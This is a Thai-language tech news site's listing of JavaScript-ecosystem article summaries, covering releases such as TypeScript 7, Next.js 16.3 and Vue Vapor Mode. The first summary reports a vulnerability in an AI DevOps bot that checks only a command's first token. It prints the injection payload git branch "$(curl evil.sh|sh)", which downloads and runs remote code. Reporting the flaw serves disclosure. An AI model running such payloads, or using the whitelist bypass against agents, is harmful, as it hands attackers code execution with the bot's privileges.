GyaanSetu JavaScript

ระบบนิเวศ JavaScript และ TypeScript

90 articlesDeep, practical knowledge

เผยช่องโหว่บอท DevOps ที่ขับเคลื่อนด้วย AI: การใช้ Prefix Whitelist เปิดทางให้ผู้โจมตีรันโค้ดอันตรายได้ตามต้องการ

CVE-2026-22708 แสดงให้เห็นว่าเอเจนต์ที่ตรวจสอบเพียงโทเคนแรกของคำสั่งสามารถถูกหลอกด้วยเพย์โหลดที่ซ่อนอยู่ในอาร์กิวเมนต์ได้ เช่น git branch "$(curl evil.sh|sh)" ซึ่งช่วยให้ผู้โจมตีได้รับสิทธิ์เทียบเท่ากับบอทอัตโนมัติ

JavaScript · 4 min read

WebFPGA ให้การประมวลผล TinyML Inference ได้ใน 4 ms ที่ 30 mW – โดยไม่มีข้อมูลหลุดออกจากเบราว์เซอร์

WebFPGA ใช้ WebUSB API ในการโปรแกรม Lattice iCE40-UP5K FPGA ผ่าน JavaScript ช่วยให้สามารถประมวลผล TinyML inference ได้ในเวลาไม่ถึง 10 ms โดยใช้พลังงานเพียงไม่กี่สิบมิลลิวัตต์ และเก็บข้อมูลทั้งหมดไว้ภายในอุปกรณ์

JavaScript · 2 min read

LibreOffice 26.8 เผยโรดแมปที่เน้นความเป็นส่วนตัวเป็นอันดับแรก โดยหลีกเลี่ยงการเรียกใช้ AI ผ่านคลาวด์

เวอร์ชันใหม่นี้ปรับปรุงการจัดวางย่อหน้าสำหรับอักขระที่ซับซ้อนให้แม่นยำยิ่งขึ้น เพิ่มมุมมองร่าง (Draft View) แบบเรียบง่าย และปรับปรุงการแปลงไฟล์ ODF เป็น DOCX/XLSX พร้อมทั้งมีการอัปเดตความปลอดภัยและการทำ macro sandboxing เพื่อให้เอกสารปลอดภัยเมื่อใช้งานภายในองค์กร

JavaScript · 2 min read

TypeScript 7 ลดความหน่วงในการตรวจสอบ Type ลงถึง 40% ด้วยไบนารี Rust ตัวใหม่

เอนจินที่เขียนด้วย Rust ทำงานในโปรเซสแยกต่างหาก โดยแยกการวิเคราะห์ Type ออกจาก UI thread และเพิ่มระบบแคชที่ชาญฉลาดซึ่งจะตรวจสอบเฉพาะไฟล์ที่มีการเปลี่ยนแปลงเท่านั้น ช่วยให้การทำ incremental build รวดเร็วและลื่นไหลยิ่งขึ้น

JavaScript · 2 min read

Vapor Mode ของ Vue 3.6 ตัด Virtual DOM ออก ช่วยเพิ่มประสิทธิภาพการทำงานของเกม

Vapor Mode ที่กำลังจะมาใน Vue 3.6 จะคอมไพล์ single-file components ให้เป็นการเรียกใช้งาน DOM โดยตรง ซึ่งช่วยตัดขั้นตอนการเปรียบเทียบ (diff) ของ virtual-DOM ออกไป ในการทดสอบเกมที่มีการวาดภาพใหม่หลายสิบครั้งต่อวินาที การเปลี่ยนแปลงนี้ช่วยลดเวลาในการเรนเดอร์และลดขนาดของ bundle ลงได้ แต่สำหรับ UI ที่มีการอัปเดตไม่บ่อยนักจะเห็นความแตกต่างเพียงเล็กน้อยเท่านั้น

JavaScript · 4 min read

Anthropic จ่ายเงินกว่า 1.65 แสนดอลลาร์ค่า Claude Tokens เพื่อเขียน Bun ใหม่ด้วยภาษา Rust ภายใน 11 วัน

วิศวกรของ Anthropic ใช้เอเจนต์ Claude Fable 5 จำนวน 64 ตัวทำงานขนานกันเพื่อเขียนโค้ดของ Bun ใหม่ด้วยภาษา Rust ภายใน 11 วัน โดยมีค่าใช้จ่ายด้าน token สูงถึง 165,000 ดอลลาร์ แต่ต้นทุนที่แท้จริงน่าจะสูงกว่านี้เมื่อรวมค่าประมวลผลหลังการรวมโค้ดและการตรวจสอบความปลอดภัยเข้าไปด้วย

JavaScript · 3 min read

Claude เปิดตัวเครื่องมือ Agent 4 รายการสู่สถานะ GA พร้อมยกเลิก Beta Headers สำหรับองค์กร

เมื่อไม่มีข้อกำหนดเรื่อง beta-only request headers อีกต่อไป องค์กรต่างๆ ก็สามารถก้าวข้ามอุปสรรคด้านกฎหมายและความปลอดภัยได้เสียที นอกจากนี้ โหมด batch-action ใหม่สำหรับเครื่องมือ computer-use ยังช่วยลดความหน่วงและการใช้ token ลงได้ แม้ว่าความประหยัดที่เกิดขึ้นจริงจะยังต้องรอการยืนยันก็ตาม

JavaScript · 3 min read

Next.js 16.3 ทำให้ Turbopack เสถียรขึ้น พร้อมลดเวลาการ Build ลง 2-5 เท่าสำหรับแอปขนาดกลาง

การอัปเดตนี้ยังมาพร้อมกับ Partial Prerendering ที่พร้อมใช้งานจริง ซึ่งช่วยลด Time to Interactive ลงได้ถึง 40-60%, การรองรับ TypeScript ที่ดียิ่งขึ้นสำหรับ Server Actions และ middleware ที่พัฒนาด้วย Rust อย่างไรก็ตาม จำเป็นต้องใช้ Node 20 ขึ้นไป และอาจส่งผลกระทบต่อ Webpack plugins เดิมที่ใช้งานอยู่

JavaScript · 3 min read

TanStack Table v9 ลดขนาด Bundle ลงเหลือประมาณ 5 KB ด้วยฟีเจอร์แบบ Opt-In

เวอร์ชัน beta ใหม่ช่วยให้คุณเลือกนำเข้าเฉพาะความสามารถของ grid ที่ใช้งานจริง—ตัดโค้ดส่วนการเรียงลำดับออกไปได้ทั้งหมด ช่วยลดขนาดการดาวน์โหลดลงเหลือเพียงประมาณ 5 KB และหลีกเลี่ยงการทำงานบน main-thread ที่เคยทำให้คะแนน INP ช้าลง

JavaScript · 2 min read

Meteor 3.5 ลดการใช้ CPU ลง 9% และเพิ่ม Throughput เป็นสองเท่าด้วยการสลับไปใช้ uWebSockets.js

Meteor 3.5 เปิดตัว DDP transport แบบ pluggable ที่สามารถสลับไปใช้ uWebSockets.js ได้ผ่าน environment variable DDP_TRANSPORT=uws ซึ่งช่วยเพิ่ม throughput ได้สูงสุดถึง 1.6 เท่า, ลดการใช้ CPU ลง 9%, ลด RAM ลง 11% และลดระยะเวลา GC pauses ลง 26% สำหรับแอปพลิเคชันที่มีการใช้งาน RPC หนักๆ

JavaScript · 2 min read

เจาะลึกการทำ Server Side Caching ขั้นสูงใน Next.js

เจาะลึกการทำ Server Side Caching ขั้นสูงใน Next.js การขยายขนาดแอป Next.js นั้นต้องการมากกว่าแค่การเลือกระหว่าง SSR และ SSG เมื่อข้อมูลของคุณเพิ่มมากขึ้น คุณจำเป็นต้องมีการทำ caching ขั้นสูงเพื่อลด...

JavaScript · 3 min read

Chrome DevTools Debugger ทำให้การอัปโหลดผ่าน Playwright ช้าลงกว่า 20 เท่า

เมื่อ Coffer เชื่อมต่อ Chrome DevTools debugger ผ่าน Playwright การอัปโหลดที่ใช้ fetch ของพวกเขาลดลงจาก 600 Mbps เหลือเพียง 113 Mbps ซึ่งเป็นการช้าลงมากกว่า 20 เท่า และทำให้ผลการทดสอบประสิทธิภาพ (benchmark) ของพวกเขาพลิกจากหน้ามือเป็นหลังมือ

JavaScript · 3 min read

การเปิดใช้งาน SharedArrayBuffer บังคับให้ฉันต้องเลิกใช้สคริปต์จากบุคคลที่สามทั้งหมด

การเพิ่ม header COOP และ COEP ช่วยให้ใช้งาน multithreading ได้อย่างแท้จริง แต่ก็ทำให้ analytics, Google Fonts, การฝัง YouTube และหน้าต่าง pop-up ของ OAuth ถูกบล็อกในทันที จนทำให้ฉันต้องหันมาโฮสต์ assets ด้วยตัวเองและเขียนโค้ด front-end ใหม่ทั้งหมดตั้งแต่ต้น

JavaScript · 4 min read

Browser vs Node: จุดที่ Event Loop แตกต่างกัน

Browser vs Node: จุดที่ Event Loop แตกต่างกัน Event loop ไม่ได้เป็นส่วนหนึ่งของข้อกำหนดภาษา JavaScript แต่เป็นส่วนหนึ่งของสภาพแวดล้อมของโฮสต์ (host environment) โดยที่ Browser และ Node มีการนำไปใช้งานที่แตกต่างกัน...

JavaScript · 4 min read

ช่องโหว่ WooCommerce Social Login เปิดทางให้แฮกเกอร์เข้ายึดบัญชี WordPress ใดก็ได้

CVE 2026 8457: การข้ามขั้นตอนการยืนยันตัวตนของ WooCommerce Social Login พบช่องโหว่ด้านความปลอดภัยระดับวิกฤตในปลั๊กอิน WooCommerce Social Login โดย WPWeb Elite ซึ่งช่องโหว่นี้มีคะแนน CVSS อยู่ที่ 9...

JavaScript · 3 min read

Next.js 16.3 เพิ่ม useOffline Hook แบบทดลอง เพื่อการตรวจจับสถานะการเชื่อมต่อได้ทันที

Hook นี้จะคืนค่าเป็น boolean ที่อัปเดตแบบเรียลไทม์ ช่วยให้คุณสลับหน้าแอปหลักเป็นข้อความ “คุณไม่ได้เชื่อมต่ออินเทอร์เน็ต” แบบง่ายๆ ได้ทันทีโดยไม่ต้องรอให้การ fetch ข้อมูลล้มเหลว อย่างไรก็ตาม ตัว hook เองไม่ได้รองรับการทำ caching หรือการซิงค์ข้อมูลเบื้องหลัง (background sync)

JavaScript · 2 min read

ผู้ใช้งาน Claude Code ลดค่าใช้จ่าย Token ลง 20%–35% ด้วย AWS Bedrock Proxy

LiteLLM proxy ในรูปแบบ Docker ของนักพัฒนาคนหนึ่ง ช่วยให้ Claude Code CLI สามารถเชื่อมต่อกับโมเดล Nova ของ Amazon บน Bedrock ได้อย่างแนบเนียน โดยยังคงขั้นตอนการทำงานเดิมไว้ แต่ช่วยลดค่าใช้จ่ายในช่วงการเรียนรู้ลงได้ถึงหนึ่งในสามเมื่อเทียบกับราคาของ Anthropic

JavaScript · 3 min read

AGP 9.2.0 เพิ่มความเร็ว Kotlin Coroutine เป็นสองเท่าด้วยการเขียน Bytecode ใหม่โดย R8

R8 ที่มาพร้อมกับ Android Gradle Plugin 9.2.0 เปลี่ยนจากการเรียกใช้ AtomicFieldUpdater แบบ reflective มาเป็นการใช้คำสั่ง Unsafe เพียงคำสั่งเดียว ซึ่งช่วยลดภาระในการทำ synchronization และทำให้การทำงานของ channel, mutex และ StateFlow เร็วขึ้นประมาณ 2 เท่า โดยไม่ต้องแก้ไขโค้ดต้นฉบับเลย

JavaScript · 4 min read